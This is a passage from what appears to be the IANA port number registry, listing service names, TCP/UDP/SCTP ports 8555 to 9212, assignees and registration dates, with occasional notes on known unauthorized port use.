d-fence            8555        udp    SYMAX D-FENCE                [Thomas_Geisel]                                       [Thomas_Geisel]                                           2003-01
                 8556-8566            Unassigned
dof-tunnel         8567        tcp    DOF Tunneling Protocol       [OpenDOF]                                             [Bryant_Eastham]                                          2005-08      2015-04-23
dof-tunnel         8567        udp    DOF Tunneling Protocol       [OpenDOF]                                             [Bryant_Eastham]                                          2005-08      2015-04-23
                 8568-8599            Unassigned
asterix            8600        tcp    Surveillance Data            [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2005-11
asterix            8600        udp    Surveillance Data            [Eivan_Cerasi]                                        [Eivan_Cerasi]                                            2005-11
                 8601-8608            Unassigned
                   8609        tcp    Reserved
canon-cpp-disc     8609        udp    Canon Compact Printer        [Canon_Inc]                                           [Ryusuke_Okuhara]                                         2012-06-08   2012-06-15
                                      Protocol Discovery
canon-mfnp         8610        tcp    Canon MFNP Service           [Ritsuto_Sako]                                        [Ritsuto_Sako]                                            2009-05-04
canon-mfnp         8610        udp    Canon MFNP Service           [Ritsuto_Sako]                                        [Ritsuto_Sako]                                            2009-05-04
canon-bjnp1        8611        tcp    Canon BJNP Port 1            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp1        8611        udp    Canon BJNP Port 1            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp2        8612        tcp    Canon BJNP Port 2            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp2        8612        udp    Canon BJNP Port 2            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp3        8613        tcp    Canon BJNP Port 3            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp3        8613        udp    Canon BJNP Port 3            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp4        8614        tcp    Canon BJNP Port 4            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
canon-bjnp4        8614        udp    Canon BJNP Port 4            [Atsushi_Nakamura]                                    [Atsushi_Nakamura]                                        2003-11
imink              8615        tcp    Imink Service Control        [Canon_Inc]                                           [KEN_ICHI_FUJII]                                          2011-10-10
                   8615        udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                 8616-8664            Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     ports 8616
                                                                                                                                                                                                                                                                     and 8617
monetra            8665        tcp    Monetra                      [Main_Street_Softworks]                               [Brad_House]                                              2013-04-02
                   8665        udp    Reserved
monetra-admin      8666        tcp    Monetra Administrative       [Main_Street_Softworks]                               [Brad_House]                                              2013-04-02
                                      Access
                   8666        udp    Reserved
                 8667-8674            Unassigned
                                      Motorola Solutions Customer
msi-cps-rm         8675        tcp    Programming Software for     [Motorola_Solutions_Inc]                              [Jenish_Amin]                                             2012-03-14
                                      Radio Management
                                      Motorola Solutions Customer
msi-cps-rm-disc    8675        udp    Programming Software for     [Motorola_Solutions_Inc]                              [Jenish_Amin]                                             2012-03-14
                                      Radio Management Discovery
                 8676-8685            Unassigned
sun-as-jmxrmi      8686        tcp    Sun App Server - JMX/RMI     [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
sun-as-jmxrmi      8686        udp    Sun App Server - JMX/RMI     [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
                   8687               Unassigned
openremote-ctrl    8688        tcp    OpenRemote Controller        [OpenRemote_Inc]                                      [Juha_Lindfors]                                           2012-12-18
                                      HTTP/REST
                   8688        udp    Reserved
                 8689-8698            Unassigned
vnyx               8699        tcp    VNYX Primary Port            [Gregg_Green]                                         [Gregg_Green]                                             2004-11
                   8699        udp    Reserved                                                                                                                                     2004-11      2013-05-24                                                                        This entry is being removed on 2013-05-24.
                 8700-8710            Unassigned
nvc                8711        tcp    Nuance Voice Control         [Nuance_Communications_Inc2]                          [Diego_Negre]                                             2012-10-05
                   8711        udp    Reserved
                 8712-8731            Unassigned
                   8732        tcp    Reserved
dtp-net            8732        udp    DASGIP Net Services          [Dr_Matthias_Arnold]                                  [Dr_Matthias_Arnold]                                      2009-03-23
ibus               8733        tcp    iBus                         [Silvano_Maffeis]                                     [Silvano_Maffeis]
ibus               8733        udp    iBus                         [Silvano_Maffeis]                                     [Silvano_Maffeis]
                 8734-8749            Unassigned
dey-keyneg         8750        tcp    DEY Storage Key Negotiation  [DEY_Storage_Systems_Inc]                             [Garrett_D_Amore]                                         2013-03-01
                   8750        udp    Reserved
                 8751-8762            Unassigned
mc-appserver       8763        tcp    MC-APPSERVER                 [Romeo_Kasanwidjojo]                                  [Romeo_Kasanwidjojo]
mc-appserver       8763        udp    MC-APPSERVER                 [Romeo_Kasanwidjojo]                                  [Romeo_Kasanwidjojo]
openqueue          8764        tcp    OPENQUEUE                    [Matt_Jensen]                                         [Matt_Jensen]
openqueue          8764        udp    OPENQUEUE                    [Matt_Jensen]                                         [Matt_Jensen]
ultraseek-http     8765        tcp    Ultraseek HTTP               [Walter_Underwood]                                    [Walter_Underwood]
ultraseek-http     8765        udp    Ultraseek HTTP               [Walter_Underwood]                                    [Walter_Underwood]
amcs               8766        tcp    Agilent Connectivity Service [Keysight_Technologies_Inc]                           [Tom_Fay]                                                 2013-01-16   2016-09-12
amcs               8766        udp    Agilent Connectivity Service [Keysight_Technologies_Inc]                           [Tom_Fay]                                                 2013-01-16   2016-09-12
                 8767-8769            Unassigned
dpap               8770        tcp    Digital Photo Access         [Amandeep_Jawa_2]                                     [Amandeep_Jawa_2]                                         2004-11                                                                                        Defined TXT keys: txtvers, Version, iPSh Version, Machine ID,
                                      Protocol (iPhoto)                                                                                                                                                                                                                           Machine Name, Password
dpap               8770        udp    Digital Photo Access         [Amandeep_Jawa_2]                                     [Amandeep_Jawa_2]                                         2004-11                                                                                        Defined TXT keys: txtvers, Version, iPSh Version, Machine ID,
                                      Protocol (iPhoto)                                                                                                                                                                                                                           Machine Name, Password
                 8771-8777            Unassigned
uec                8778        tcp    Stonebranch Universal        [Stonebranch_Inc]                                     [Nathan_Hammond_2]                                        2013-06-25
                                      Enterprise Controller
                   8778        udp    Reserved
                 8779-8785            Unassigned
msgclnt            8786        tcp    Message Client
msgclnt            8786        udp    Message Client
msgsrvr            8787        tcp    Message Server               [Michael_O_Brien]                                     [Michael_O_Brien]                                         2003-03
msgsrvr            8787        udp    Message Server               [Michael_O_Brien]                                     [Michael_O_Brien]                                         2003-03
                 8788-8792            Unassigned
acd-pm             8793        tcp    Accedian Performance         [Marco_Mascitto]                                      [Marco_Mascitto]
                                      Measurement
acd-pm             8793        udp    Accedian Performance         [Marco_Mascitto]                                      [Marco_Mascitto]
                                      Measurement
                 8794-8799            Unassigned
sunwebadmin        8800        tcp    Sun Web Server Admin Service [Jyri_J_Virkki]                                       [Jyri_J_Virkki]                                           2005-12
sunwebadmin        8800        udp    Sun Web Server Admin Service [Jyri_J_Virkki]                                       [Jyri_J_Virkki]                                           2005-12
                                                                                                                                                                                                                                                                     Known
                 8801-8803            Unassigned                                                                                                                                                                                                                     UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: Port
                                                                                                                                                                                                                                                                     8801
truecm             8804        tcp    truecm                       [Scott_Kramer]                                        [Scott_Kramer]
truecm             8804        udp    truecm                       [Scott_Kramer]                                        [Scott_Kramer]
                   8805        tcp    Reserved
pfcp               8805        udp    Destination Port number for  [Kimmo_Kymalainen]                                    [Kimmo_Kymalainen]                                        2017-05-08
                                      PFCP
                   8806               Unassigned
                   8807        tcp    Reserved
hes-clip           8807        udp    HES-CLIP Interoperability    [Tim_Schoechle]                                       [Ludo_Bertsch]                                            2018-09-07
                                      protocol
                   8808        tcp    Reserved
ssports-bcast      8808        udp    STATSports Broadcast Service [Statsports_International]                            [Catalin_Caranfil]                                        2016-12-22
                 8809-8872            Unassigned
dxspider           8873        tcp    dxspider linking protocol    [Dirk_Koopman]                                        [Dirk_Koopman]                                            2005-08
dxspider           8873        udp    dxspider linking protocol    [Dirk_Koopman]                                        [Dirk_Koopman]                                            2005-08
                 8874-8879            Unassigned
cddbp-alt          8880        tcp    CDDBP                        [Steve_Scherf]                                        [Steve_Scherf]
cddbp-alt          8880        udp    CDDBP                        [Steve_Scherf]                                        [Steve_Scherf]
galaxy4d           8881        tcp    Galaxy4D Online Game Engine  [Galaxy4D]                                            [Olivier_St-Laurent]                                      2012-06-18
                   8881        udp    Reserved
                                                                                                                                                                                                                                                                     Unauthorized
                   8882               Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     port 8882
secure-mqtt        8883        tcp    Secure MQTT                  [OASIS]                                               [Robin_Cover]                                             2008-02-27   2015-03-06
secure-mqtt        8883        udp    Secure MQTT                  [OASIS]                                               [Robin_Cover]                                             2008-02-27   2015-03-06
                 8884-8887            Unassigned
                                                                                                                                                                                                                                                                     Known
ddi-tcp-1          8888        tcp    NewsEDGE server TCP (TCP 1)  [Fred_Yao]                                            [Fred_Yao]                                                                                                                                  Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8888
                                                                                                                                                                                                                                                                     Known
ddi-udp-1          8888        udp    NewsEDGE server UDP (UDP 1)  [Fred_Yao]                                            [Fred_Yao]                                                                                                                                  Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8888
                                                                                                                                                                                                                                                                     Known
ddi-tcp-2          8889        tcp    Desktop Data TCP 1           [Fred_Yao]                                            [Fred_Yao]                                                                                                                                  Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8889
                                                                                                                                                                                                                                                                     Known
ddi-udp-2          8889        udp    NewsEDGE server broadcast    [Fred_Yao]                                            [Fred_Yao]                                                                                                                                  Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8889
                                                                                                                                                                                                                                                                     Known
ddi-tcp-3          8890        tcp    Desktop Data TCP 2           [Fred_Yao]                                            [Fred_Yao]                                                                                                                                  Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8890
                                                                                                                                                                                                                                                                     Known
ddi-udp-3          8890        udp    NewsEDGE client broadcast    [Fred_Yao]                                            [Fred_Yao]                                                                                                                                  Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     8890
ddi-tcp-4          8891        tcp    Desktop Data TCP 3: NESS     [Fred_Yao]                                            [Fred_Yao]
                                      application
ddi-udp-4          8891        udp    Desktop Data UDP 3: NESS     [Fred_Yao]                                            [Fred_Yao]
                                      application
ddi-tcp-5          8892        tcp    Desktop Data TCP 4: FARM     [Fred_Yao]                                            [Fred_Yao]
                                      product
ddi-udp-5          8892        udp    Desktop Data UDP 4: FARM     [Fred_Yao]                                            [Fred_Yao]
                                      product
ddi-tcp-6          8893        tcp    Desktop Data TCP 5:          [Fred_Yao]                                            [Fred_Yao]
                                      NewsEDGE/Web application
ddi-udp-6          8893        udp    Desktop Data UDP 5:          [Fred_Yao]                                            [Fred_Yao]
                                      NewsEDGE/Web application
ddi-tcp-7          8894        tcp    Desktop Data TCP 6: COAL     [Fred_Yao]                                            [Fred_Yao]
                                      application
ddi-udp-7          8894        udp    Desktop Data UDP 6: COAL     [Fred_Yao]                                            [Fred_Yao]
                                      application
                 8895-8898            Unassigned
ospf-lite          8899        tcp    ospf-lite                    [Matthew_Thomas]                                      [Matthew_Thomas]                                          2008-01-07
ospf-lite          8899        udp    ospf-lite                    [Matthew_Thomas]                                      [Matthew_Thomas]                                          2008-01-07
jmb-cds1           8900        tcp    JMB-CDS 1                    [Curtis_Bray]                                         [Curtis_Bray]
jmb-cds1           8900        udp    JMB-CDS 1                    [Curtis_Bray]                                         [Curtis_Bray]
jmb-cds2           8901        tcp    JMB-CDS 2                    [Curtis_Bray]                                         [Curtis_Bray]
jmb-cds2           8901        udp    JMB-CDS 2                    [Curtis_Bray]                                         [Curtis_Bray]
                 8902-8909            Unassigned
manyone-http       8910        tcp    manyone-http                 [Matt_King]                                           [Matt_King]                                               2002-04
manyone-http       8910        udp    manyone-http                 [Matt_King]                                           [Matt_King]                                               2002-04
manyone-xml        8911        tcp    manyone-xml                  [Matt_King]                                           [Matt_King]                                               2002-04
manyone-xml        8911        udp    manyone-xml                  [Matt_King]                                           [Matt_King]                                               2002-04
wcbackup           8912        tcp    Windows Client Backup        [Jim_Lyon]                                            [Jim_Lyon]                                                2005-11
wcbackup           8912        udp    Windows Client Backup        [Jim_Lyon]                                            [Jim_Lyon]                                                2005-11
dragonfly          8913        tcp    Dragonfly System Service     [Paul_Hodara]                                         [Paul_Hodara]                                             2005-11
dragonfly          8913        udp    Dragonfly System Service     [Paul_Hodara]                                         [Paul_Hodara]                                             2005-11
                 8914-8936            Unassigned
twds               8937        tcp    Transaction Warehouse Data   [Lance_M_Steenson]                                    [Lance_M_Steenson]                                        2009-09-18
                                      Service
                   8937        udp    Reserved
                 8938-8952            Unassigned
ub-dns-control     8953        tcp    unbound dns nameserver       [NLnet_Labs_Support]                                  [NLnet_Labs_Support]                                      2011-05-10   2011-07-11
                                      control
                   8953        udp    Reserved
cumulus-admin      8954        tcp    Cumulus Admin Port           [Thomas_Schleu]                                       [Thomas_Schleu]
cumulus-admin      8954        udp    Cumulus Admin Port           [Thomas_Schleu]                                       [Thomas_Schleu]
                 8955-8979            Unassigned
nod-provider       8980        tcp    Network of Devices Provider  [David_Muller]                                        [David_Muller]                                            2015-02-22
nod-provider       8980        udp    Network of Devices Provider  [David_Muller]                                        [David_Muller]                                            2015-02-22
nod-client         8981        udp    Network of Devices Client    [David_Muller]                                        [David_Muller]                                            2015-02-22
                   8981        tcp    Reserved
                 8982-8988            Unassigned
sunwebadmins       8989        tcp    Sun Web Server SSL Admin     [Jyri_J_Virkki]                                       [Jyri_J_Virkki]                                           2005-12
                                      Service
sunwebadmins       8989        udp    Sun Web Server SSL Admin     [Jyri_J_Virkki]                                       [Jyri_J_Virkki]                                           2005-12
                                      Service
http-wmap          8990        tcp    webmail HTTP service         [Chris_Newman]                                        [Chris_Newman]                                            2007-12-03
http-wmap          8990        udp    webmail HTTP service         [Chris_Newman]                                        [Chris_Newman]                                            2007-12-03
https-wmap         8991        tcp    webmail HTTPS service        [Chris_Newman]                                        [Chris_Newman]                                            2007-12-03
https-wmap         8991        udp    webmail HTTPS service        [Chris_Newman]                                        [Chris_Newman]                                            2007-12-03
                 8992-8996            Unassigned
oracle-ms-ens      8997        tcp    Oracle Messaging Server      [Oracle_6]                                            [Hubert_Vijay_Arokiasamy]                                 2014-10-28
                                      Event Notification Service
                   8997        udp    Reserved
canto-roboflow     8998        tcp    Canto RoboFlow Control       [Canto]                                               [Thomas_Schleu_2]                                         2014-02-26
                   8998        udp    Reserved
bctp               8999        tcp    Brodos Crypto Trade Protocol [Alexander_Sahler]                                    [Alexander_Sahler]                                        2002-02
bctp               8999        udp    Brodos Crypto Trade Protocol [Alexander_Sahler]                                    [Alexander_Sahler]                                        2002-02
cslistener         9000        tcp    CSlistener                   [David_Jones]                                         [David_Jones]
cslistener         9000        udp    CSlistener                   [David_Jones]                                         [David_Jones]
                                                                                                                                                                                                                                                                     Known
etlservicemgr      9001        tcp    ETL Service Manager          [Stephen_McCrea]                                      [Stephen_McCrea]                                          2002-03                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     9001
                                                                                                                                                                                                                                                                     Known
etlservicemgr      9001        udp    ETL Service Manager          [Stephen_McCrea]                                      [Stephen_McCrea]                                          2002-03                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     9001
dynamid            9002        tcp    DynamID authentication       [Jerome_Dusautois]                                    [Jerome_Dusautois]                                        2002-03
dynamid            9002        udp    DynamID authentication       [Jerome_Dusautois]                                    [Jerome_Dusautois]                                        2002-03
                 9003-9004            Unassigned
golem              9005        tcp    Golem Inter-System RPC       [Jose_Luis_Tallon]                                    [Jose_Luis_Tallon]                                        2015-03-09
                   9005        udp    Reserved
                   9006               De-Commissioned Port                                                                                                                         2000-02-24
                   9007        tcp    Reserved
ogs-client         9007        udp    Open Grid Services Client    [Gareth_Nelson_2]                                     [Gareth_Nelson_2]                                         2008-08-22
ogs-server         9008        tcp    Open Grid Services Server    [Gareth_Nelson_2]                                     [Gareth_Nelson_2]                                         2008-08-22
                   9008        udp    Reserved
pichat             9009        tcp    Pichat Server                [Mark_Seuffert]                                       [Mark_Seuffert]                                           2004-11
pichat             9009        udp    Pichat Server                [Mark_Seuffert]                                       [Mark_Seuffert]                                           2004-11
sdr                9010        tcp    Secure Data Replicator       [Sufyan_Almajali]                                     [Sufyan_Almajali]                                         2008-06-27
                                      Protocol
                   9010        udp    Reserved
                   9011        tcp    Reserved
d-star             9011        udp    D-Star Routing digital       [QuadNet2_USA_IRC_Network]                            [Thomas_A_Early]                                          2018-03-16
                                      voice+data for amateur radio
                 9012-9019            Unassigned
tambora            9020        tcp    TAMBORA                      [Jason_van_Zyl]                                       [Jason_van_Zyl]                                           2002-03
tambora            9020        udp    TAMBORA                      [Jason_van_Zyl]                                       [Jason_van_Zyl]                                           2002-03
panagolin-ident    9021        tcp    Pangolin Identification      [William_Benner_2]                                    [William_Benner_2]                                        2002-03
panagolin-ident    9021        udp    Pangolin Identification      [William_Benner_2]                                    [William_Benner_2]                                        2002-03
paragent           9022        tcp    PrivateArk Remote Agent      [Gal_Cucuy]                                           [Gal_Cucuy]                                               2002-03
paragent           9022        udp    PrivateArk Remote Agent      [Gal_Cucuy]                                           [Gal_Cucuy]                                               2002-03
swa-1              9023        tcp    Secure Web Access - 1        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-1              9023        udp    Secure Web Access - 1        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-2              9024        tcp    Secure Web Access - 2        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-2              9024        udp    Secure Web Access - 2        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-3              9025        tcp    Secure Web Access - 3        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-3              9025        udp    Secure Web Access - 3        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-4              9026        tcp    Secure Web Access - 4        [Tim_McGranaghan]                                     [Tim_McGranaghan]
swa-4              9026        udp    Secure Web Access - 4        [Tim_McGranaghan]                                     [Tim_McGranaghan]
                 9027-9049            Unassigned
versiera           9050        tcp    Versiera Agent Listener      [Frank_Pikelner]                                      [Frank_Pikelner]                                          2010-01-15
                   9050        udp    Reserved
fio-cmgmt          9051        tcp    Fusion-io Central Manager    [Jim_Sermersheim]                                     [Jim_Sermersheim]                                         2010-01-15
                                      Service
                   9051        udp    Reserved
                 9052-9059            Unassigned
CardWeb-IO         9060        tcp    CardWeb request-response I/O [Virtual_Electric_Inc]                                [David_Wyatt]                                             2016-10-07
                                      exchange
CardWeb-RT         9060        udp    CardWeb realtime device data [Virtual_Electric_Inc]                                [David_Wyatt]                                             2016-10-07
                 9061-9079            Unassigned
glrpc              9080        tcp    Groove GLRPC                 [Adrian_Popescu]                                      [Adrian_Popescu]                                          2002-09
glrpc              9080        udp    Groove GLRPC                 [Adrian_Popescu]                                      [Adrian_Popescu]                                          2002-09
                   9081        tcp    Reserved
cisco-aqos         9081        udp    Required for Adaptive        [Manish_Surolia]                                      [Manish_Surolia]                                          2017-10-27
                                      Quality of Service
lcs-ap             9082       sctp    LCS Application Protocol     [Kimmo_Kymalainen]                                    [Kimmo_Kymalainen]                                        2010-06-04
emc-pp-mgmtsvc     9083        tcp    EMC PowerPath Mgmt Service   [Jim_Perreault]                                       [Jim_Perreault]                                           2010-06-04
                   9083        udp    Reserved
aurora             9084        tcp    IBM AURORA Performance       [Jeroen_Massar_2]                                     [Jeroen_Massar_2]                                         2008-08-21
                                      Visualizer
aurora             9084        udp    IBM AURORA Performance       [Jeroen_Massar_2]                                     [Jeroen_Massar_2]                                         2008-08-21
                                      Visualizer
aurora             9084       sctp    IBM AURORA Performance       [Jeroen_Massar_2]                                     [Jeroen_Massar_2]                                         2008-08-21
                                      Visualizer
ibm-rsyscon        9085        tcp    IBM Remote System Console    [William_LePera]                                      [William_LePera]                                          2008-06-18
ibm-rsyscon        9085        udp    IBM Remote System Console    [William_LePera]                                      [William_LePera]                                          2008-06-18
net2display        9086        tcp    Vesa Net2Display             [Kenneth_B_Ocheltree]                                 [Kenneth_B_Ocheltree]                                     2008-01-07
net2display        9086        udp    Vesa Net2Display             [Kenneth_B_Ocheltree]                                 [Kenneth_B_Ocheltree]                                     2008-01-07
classic            9087        tcp    Classic Data Server          [Paul_Cadarette]                                      [Paul_Cadarette]                                          2007-01
classic            9087        udp    Classic Data Server          [Paul_Cadarette]                                      [Paul_Cadarette]                                          2007-01
sqlexec            9088        tcp    IBM Informix SQL Interface   [Jonathan_Leffler]                                    [Jonathan_Leffler]                                        2005-12
sqlexec            9088        udp    IBM Informix SQL Interface   [Jonathan_Leffler]                                    [Jonathan_Leffler]                                        2005-12
sqlexec-ssl        9089        tcp    IBM Informix SQL Interface - [Jonathan_Leffler]                                    [Jonathan_Leffler]                                        2005-12
                                      Encrypted
sqlexec-ssl        9089        udp    IBM Informix SQL Interface - [Jonathan_Leffler]                                    [Jonathan_Leffler]                                        2005-12
                                      Encrypted
websm              9090        tcp    WebSM                        [I_Hsing_Tsao]                                        [I_Hsing_Tsao]
websm              9090        udp    WebSM                        [I_Hsing_Tsao]                                        [I_Hsing_Tsao]
xmltec-xmlmail     9091        tcp    xmltec-xmlmail               [Mitch_Kaufman]                                       [Mitch_Kaufman]
xmltec-xmlmail     9091        udp    xmltec-xmlmail               [Mitch_Kaufman]                                       [Mitch_Kaufman]
XmlIpcRegSvc       9092        tcp    Xml-Ipc Server Reg           [Casey_Harrington]                                    [Casey_Harrington]                                        2006-01
XmlIpcRegSvc       9092        udp    Xml-Ipc Server Reg           [Casey_Harrington]                                    [Casey_Harrington]                                        2006-01
copycat            9093        tcp    Copycat database replication [Microtec_Informatique]                               [Raphael_Neve]                                            2012-03-15
                                      service
                   9093        udp    Reserved
                 9094-9099            Unassigned
hp-pdl-datastr     9100        tcp    PDL Data Streaming Port      [Shivaun_Albright]                                    [Shivaun_Albright]                                        2002-04
hp-pdl-datastr     9100        udp    PDL Data Streaming Port      [Shivaun_Albright]                                    [Shivaun_Albright]                                        2002-04
                                                                                                                                                                                                                                                                                  The protocol name "pdl-datastream" is primarily registered
pdl-datastream     9100        tcp    Printer PDL Data Stream      [Stuart_Cheshire_4]                                   [Stuart_Cheshire_4]                                       2002-09                                                                                        for use in DNS SRV records (RFC 2782). DNS SRV records allow
                                                                                                                                                                                                                                                                                  a protocol to run on any port number, but the default port
                                                                                                                                                                                                                                                                                  for this protocol is 9100.
                                                                                                                                                                                                                                                                                  The protocol name "pdl-datastream" is primarily registered
pdl-datastream     9100        udp    Printer PDL Data Stream      [Stuart_Cheshire_4]                                   [Stuart_Cheshire_4]                                       2002-09                                                                                        for use in DNS SRV records (RFC 2782). DNS SRV records allow
                                                                                                                                                                                                                                                                                  a protocol to run on any port number, but the default port
                                                                                                                                                                                                                                                                                  for this protocol is 9100.
bacula-dir         9101        tcp    Bacula Director              [Kern_Sibbald]                                        [Kern_Sibbald]                                            2002-01
bacula-dir         9101        udp    Bacula Director              [Kern_Sibbald]                                        [Kern_Sibbald]                                            2002-01
bacula-fd          9102        tcp    Bacula File Daemon           [Kern_Sibbald]                                        [Kern_Sibbald]                                            2002-01
bacula-fd          9102        udp    Bacula File Daemon           [Kern_Sibbald]                                        [Kern_Sibbald]                                            2002-01
bacula-sd          9103        tcp    Bacula Storage Daemon        [Kern_Sibbald]                                        [Kern_Sibbald]                                            2002-01
bacula-sd          9103        udp    Bacula Storage Daemon        [Kern_Sibbald]                                        [Kern_Sibbald]                                            2002-01
peerwire           9104        tcp    PeerWire                     [Steven_Gerhardt]                                     [Steven_Gerhardt]                                         2004-02
peerwire           9104        udp    PeerWire                     [Steven_Gerhardt]                                     [Steven_Gerhardt]                                         2004-02
xadmin             9105        tcp    Xadmin Control Service                                                                                                                                                 [Ariën Huisken <xadmin&huisken-systems.nl>
                                                                                                                                                                                                             15 June 2009]
xadmin             9105        udp    Xadmin Control Service                                                                                                                                                 [Ariën Huisken <xadmin&huisken-systems.nl>
                                                                                                                                                                                                             15 June 2009]
astergate          9106        tcp    Astergate Control Service    [Ari_Huisken]                                         [Ari_Huisken]                                             2010-01-04
astergate-disc     9106        udp    Astergate Discovery Service  [Ari_Huisken]                                         [Ari_Huisken]                                             2010-01-04
astergatefax       9107        tcp    AstergateFax Control Service [Gijs_Middelkamp]                                     [Gijs_Middelkamp]                                         2010-02-03
                   9107        udp    Reserved
                 9108-9110            Unassigned
hexxorecore        9111        tcp    Multiple Purpose,            [Hexxore]                                             [Patrick_Roozeboom]                                       2018-07-31
                                      Distributed Message Bus
hexxorecore        9111        udp    Multiple Purpose,            [Hexxore]                                             [Patrick_Roozeboom]                                       2018-07-31
                                      Distributed Message Bus
                 9112-9118            Unassigned
mxit               9119        tcp    MXit Instant Messaging       [Marnus_Freeman]                                      [Marnus_Freeman]                                          2006-02
mxit               9119        udp    MXit Instant Messaging       [Marnus_Freeman]                                      [Marnus_Freeman]                                          2006-02
                 9120-9121            Unassigned
                                      Global Relay compliant
grcmp              9122        tcp    mobile instant messaging     [Global_Relay]                                        [Mike_Sample]                                             2012-11-28
                                      protocol
                   9122        udp    Reserved
grcp               9123        tcp    Global Relay compliant       [Global_Relay]                                        [Mike_Sample]                                             2012-11-28
                                      instant messaging protocol
                   9123        udp    Reserved
                 9124-9130            Unassigned
dddp               9131        tcp    Dynamic Device Discovery     [Shane_Dick]                                          [Shane_Dick]                                              2005-08
dddp               9131        udp    Dynamic Device Discovery     [Shane_Dick]                                          [Shane_Dick]                                              2005-08
                 9132-9159            Unassigned
apani1             9160        tcp    apani1                       [Neal_Taylor]                                         [Neal_Taylor]
apani1             9160        udp    apani1                       [Neal_Taylor]                                         [Neal_Taylor]
apani2             9161        tcp    apani2                       [Neal_Taylor]                                         [Neal_Taylor]
apani2             9161        udp    apani2                       [Neal_Taylor]                                         [Neal_Taylor]
apani3             9162        tcp    apani3                       [Neal_Taylor]                                         [Neal_Taylor]
apani3             9162        udp    apani3                       [Neal_Taylor]                                         [Neal_Taylor]
apani4             9163        tcp    apani4                       [Neal_Taylor]                                         [Neal_Taylor]
apani4             9163        udp    apani4                       [Neal_Taylor]                                         [Neal_Taylor]
apani5             9164        tcp    apani5                       [Neal_Taylor]                                         [Neal_Taylor]
apani5             9164        udp    apani5                       [Neal_Taylor]                                         [Neal_Taylor]
                 9165-9190            Unassigned
sun-as-jpda        9191        tcp    Sun AppSvr JPDA              [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
sun-as-jpda        9191        udp    Sun AppSvr JPDA              [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
                 9192-9199            Unassigned
wap-wsp            9200        tcp    WAP connectionless session   [WAP_Forum]                                           [WAP_Forum]
                                      service
wap-wsp            9200        udp    WAP connectionless session   [WAP_Forum]                                           [WAP_Forum]
                                      service
wap-wsp-wtp        9201        tcp    WAP session service          [WAP_Forum]                                           [WAP_Forum]
wap-wsp-wtp        9201        udp    WAP session service          [WAP_Forum]                                           [WAP_Forum]
wap-wsp-s          9202        tcp    WAP secure connectionless    [WAP_Forum]                                           [WAP_Forum]
                                      session service
wap-wsp-s          9202        udp    WAP secure connectionless    [WAP_Forum]                                           [WAP_Forum]
                                      session service
wap-wsp-wtp-s      9203        tcp    WAP secure session service   [WAP_Forum]                                           [WAP_Forum]
wap-wsp-wtp-s      9203        udp    WAP secure session service   [WAP_Forum]                                           [WAP_Forum]
wap-vcard          9204        tcp    WAP vCard                    [WAP_Forum]                                           [WAP_Forum]
wap-vcard          9204        udp    WAP vCard                    [WAP_Forum]                                           [WAP_Forum]
wap-vcal           9205        tcp    WAP vCal                     [WAP_Forum]                                           [WAP_Forum]
wap-vcal           9205        udp    WAP vCal                     [WAP_Forum]                                           [WAP_Forum]
wap-vcard-s        9206        tcp    WAP vCard Secure             [WAP_Forum]                                           [WAP_Forum]
wap-vcard-s        9206        udp    WAP vCard Secure             [WAP_Forum]                                           [WAP_Forum]
wap-vcal-s         9207        tcp    WAP vCal Secure              [WAP_Forum]                                           [WAP_Forum]
wap-vcal-s         9207        udp    WAP vCal Secure              [WAP_Forum]                                           [WAP_Forum]
rjcdb-vcards       9208        tcp    rjcdb vCard                  [Robert_John_Churchil]                                [Robert_John_Churchil]                                    2006-01
rjcdb-vcards       9208        udp    rjcdb vCard                  [Robert_John_Churchil]                                [Robert_John_Churchil]                                    2006-01
almobile-system    9209        tcp    ALMobile System Service      [Rob_Graber]                                          [Rob_Graber]                                              2006-01
almobile-system    9209        udp    ALMobile System Service      [Rob_Graber]                                          [Rob_Graber]                                              2006-01
oma-mlp            9210        tcp    OMA Mobile Location Protocol [Hans_Rohnert]                                        [Hans_Rohnert]                                            2002-04
oma-mlp            9210        udp    OMA Mobile Location Protocol [Hans_Rohnert]                                        [Hans_Rohnert]                                            2002-04
oma-mlp-s          9211        tcp    OMA Mobile Location Protocol [Hans_Rohnert]                                        [Hans_Rohnert]                                            2002-04
                                      Secure
oma-mlp-s          9211        udp    OMA Mobile Location Protocol [Hans_Rohnert]                                        [Hans_Rohnert]                                            2002-04
                                      Secure
serverviewdbms     9212        tcp    Server View dbms access      [Detlef_Rothe]                                        [Detlef_Rothe]                                            2009-05-15
